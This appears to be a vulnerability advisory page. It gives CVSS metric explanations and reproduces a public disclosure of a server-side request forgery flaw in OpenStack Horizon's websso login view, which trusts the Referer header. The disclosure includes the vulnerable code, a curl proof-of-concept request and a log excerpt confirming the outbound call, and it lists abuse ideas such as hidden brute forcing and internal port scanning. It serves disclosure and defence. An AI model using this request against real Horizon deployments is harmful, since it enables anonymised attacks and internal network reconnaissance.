The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: OpenStack Horizon Missing Validation
Hi,
we opened a bug at OpenStack, 3 month ago, but nobody takes care about it. Due
to the OpenStack guidlines the bug report is now public readable.
https://bugs.launchpad.net/horizon/+bug/1980349
I am not a security expert and do not know how bad this bug is, there is now
CVE and so on. Please be kind.
# Description of the bug
We use OpenStack horizon in the following version: `git+https://opendev.org/
openstack/horizon@9d1bb3626bc1dbcf29a55aeb094f4350067317cd#egg=horizon`
In Horizon there is the following code in Xena:
openstack_auth/views.py
```
def websso(request):
"""Logs a user in using a token from Keystone's POST."""
referer = request.META.get('HTTP_REFERER',
settings.OPENSTACK_KEYSTONE_URL)
auth_url = utils.clean_up_auth_url(referer)
token = request.POST.get('token')
try:
request.user = auth.authenticate(request, auth_url=auth_url,
token=token)
...
```
This call is usually called during SAML-Auth, but you can call it on the
command line like this:
``
curl -v 'http://horizon-name:8080/auth/websso/' -X POST -H 'Referer: https://
referer:5001/' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw
'token=mytoken'
``
The token is not checked.
So an attacker can control the content of the HTTP_REFERER and then an auth
POST request will be sent to this address.
I have changed the referer to a web server https://webserver/su-huhu/ and you
can find inside the logfile:
```
access.log: <ip-address-of-horizon> - - [28/Jun/2022:08:15:06 +0200] "POST /
su-huhu/v3/auth/tokens HTTP/1.1" 404 6529 "-" "openstack_auth
keystoneauth1/4.5.0 python-requests/2.27.1 CPython/3.8.10"
```
# Impact
* An attacker can hide his ip and do a brute force attack to any other ip via
all public available horizon dashboards.
* An attacker can setup a machine, set the referer to this machine and then
send some ugly results (e.g. very long, never ending, wrong json code, ssl
protocol issues) to the horizon service.
* An attacker can analyze which services are available on the horizon host (if
it is behind a firewall, use DNS Servers with private zones). Note that you are
able to change the port number to any number. I have not tested, but perhaps
it is also possible to change the protocol to another value, let's say:
imap://user:passwort@ip/.
# Is this only relevant for xena
The code has changed on master branch, but the bug is still there:
```
# TODO(stephenfin): Migrate to CBV
@sensitive_post_parameters()
@csrf_exempt
@never_cache
def websso(request):
"""Logs a user in using a token from Keystone's POST."""
if settings.WEBSSO_USE_HTTP_REFERER:
referer = request.META.get('HTTP_REFERER',
settings.OPENSTACK_KEYSTONE_URL)
auth_url = utils.clean_up_auth_url(referer)
else:
auth_url = settings.OPENSTACK_KEYSTONE_URL
token = request.POST.get('token')
try:
request.user = auth.authenticate(request, auth_url=auth_url,
token=token)
except exceptions.KeystoneAuthException as exc:
if settings.WEBSSO_DEFAULT_REDIRECT:
res = django_http.HttpResponseRedirect(settings.LOGIN_ERROR)
else:
msg = 'Login failed: %s' % exc
res = django_http.HttpResponseRedirect(settings.LOGIN_URL)
set_logout_reason(res, msg)
return res
```
only changing the WEBSSO_USE_HTTP_REFERER to false (Default true) will forbid
to call this.
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